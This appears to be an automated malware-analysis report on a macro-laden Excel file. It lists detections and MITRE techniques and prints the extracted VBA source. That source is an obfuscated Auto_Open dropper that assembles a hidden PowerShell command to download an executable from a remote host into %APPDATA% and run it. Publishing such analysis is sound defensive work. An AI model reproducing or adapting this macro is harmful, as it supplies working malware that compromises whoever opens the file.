MALICIOUS
240
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1203 Exploitation for Client Execution
The sample is an Excel document containing VBA macros, specifically an Auto_Open macro that utilizes the Shell() function. This indicates an attempt to execute arbitrary code upon opening the document. The document body contains a lure to 'Enable Editing' and 'Enable Content', a common social engineering tactic for macro-based malware. ClamAV also detected this as a dropper.
Heuristics 6
-
ClamAV: Doc.Dropper.SocialEngineering-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.SocialEngineering-1
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Auto_Open macro high OLE_VBA_AUTOAuto_Open macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 9636 bytes |
SHA-256: 9a1f7de5b56481af7697cb36cdc4f745c61dc22933220833c0252d494189cc7f |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Module1"
Sub xdunyrxi()
Dim yvdezwuz9
Dim ufzuqhyt, wugikty0, alext5, cnavvo4, olhascybx7
Dim izkukuv1
Dim ubjoxk0
Dim isverhe0
Dim ytkaly
Dim mcoqvebydh
Dim huhuc
Dim uhiml, upbovhefb, ypiduxo4, nvemisi8, omduto3, egolbifx, bzadkelqo, ivmixygu2
Dim iplasfyj
Dim hdoptyhha
Dim culive, ivdidmi2, eterjytz8, xjufonu1, zdufykg
Dim erquqtizki
Dim itricyn, sremnemetc4, vtelpe, zkigalm, yznery9, decyqe, jerenifs1, ydqolaf0, mhabnekcox0
Dim ggypelsa
Dim werpazimd7
Dim efafgina
Dim arjup7
Dim xcaxetki
Dim iqhumryx, nafjubketb5, ycohod5, omipa
Dim iwhatyro8
yvdezwuz9 = "s.exe'"
iwhatyro8 = "^W-Obj"
ivdidmi2 = "Le^ "
zdufykg = "Y B^Y"
ycohod5 = "onfs.t"
ifzowmage = "^ecT "
werpazimd7 = ",'%APP"
ubjoxk0 = "RoF^Il"
omipa = "T^-^P^"
zkigalm = "P^A^s^"
upbovhefb = " ^(^nE"
vtelpe = "'"""
arjup7 = "lo^adF"
erquqtizki = "s ^"
decyqe = "s^t^y^"
bzadkelqo = "wiNdow"
ggypelsa = "r^O^CE"
iqhumryx = "appdAT"
mcoqvebydh = "://doc"
ufzuqhyt = "eBc^lI"
jerenifs1 = "^l.EXe"
xjufonu1 = "A%.exe"
ivmixygu2 = "^S^tAR"
ytkaly = "op/xls"
nvemisi8 = "office"
uhiml = "TioN^p"
culive = " ^-^"
isverhe0 = "p^OW^E"
yznery9 = "E ^-"
itricyn = "S^S '%"
xcaxetki = "e^n "
hdoptyhha = "-^nop^"
egolbifx = "E^XeCU"
ypiduxo4 = "En^t)^"
izkukuv1 = "RS^heL"
sremnemetc4 = "^iLE^("
cnavvo4 = "exE');"
ydqolaf0 = "^'http"
wugikty0 = "^oLi^c"
nafjubketb5 = ".D^Own"
olhascybx7 = "sincsc"
huhuc = "DATA%."
omduto3 = "^sTe^M"
mhabnekcox0 = "cmD.Ex"
iplasfyj = ".nET.W"
eterjytz8 = "H^idD^"
alext5 = "E /C """
efafgina = " ^s^y"
wyksumy = VarType(Application.Workbooks.Count) = 3
tovoti = mhabnekcox0 & alext5 & isverhe0 & izkukuv1 & jerenifs1 & culive & egolbifx & uhiml & wugikty0 & zdufykg & zkigalm & erquqtizki & hdoptyhha & ubjoxk0 & yznery9 & bzadkelqo & decyqe & ivdidmi2 & eterjytz8 & xcaxetki & upbovhefb & iwhatyro8 & ifzowmage & efafgina & omduto3 & iplasfyj & ufzuqhyt & ypiduxo4 & nafjubketb5 & arjup7 & sremnemetc4 & ydqolaf0 & mcoqvebydh & olhascybx7 & ycohod5 & ytkaly & nvemisi8 & yvdezwuz9 & werpazimd7 & huhuc & cnavvo4 & ivmixygu2 & omipa & ggypelsa & itricyn & iqhumryx & xjufonu1 & vtelpe
If wyksumy Then
Shell tovoti, False
End If
End Sub
Sub Auto_Open()
xdunyrxi
End Sub
' Processing file: /opt/analyzer/scan_staging/3de9d29eab2e459dac10d16ba7b44173.bin
' ===============================================================================
' Module streams:
' _VBA_PROJECT_CUR/VBA/ThisWorkbook - 993 bytes
' _VBA_PROJECT_CUR/VBA/Sheet1 - 985 bytes
' _VBA_PROJECT_CUR/VBA/Sheet2 - 985 bytes
' _VBA_PROJECT_CUR/VBA/Sheet3 - 985 bytes
' _VBA_PROJECT_CUR/VBA/Module1 - 7874 bytes
' Line #0:
' FuncDefn (Sub alext5())
' Line #1:
' Dim
' VarDefn cnavvo4
' Line #2:
' Dim
' VarDefn olhascybx7
' VarDefn izkukuv1
' VarDefn ubjoxk0
' VarDefn isverhe0
' VarDefn ytkaly
' Line
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.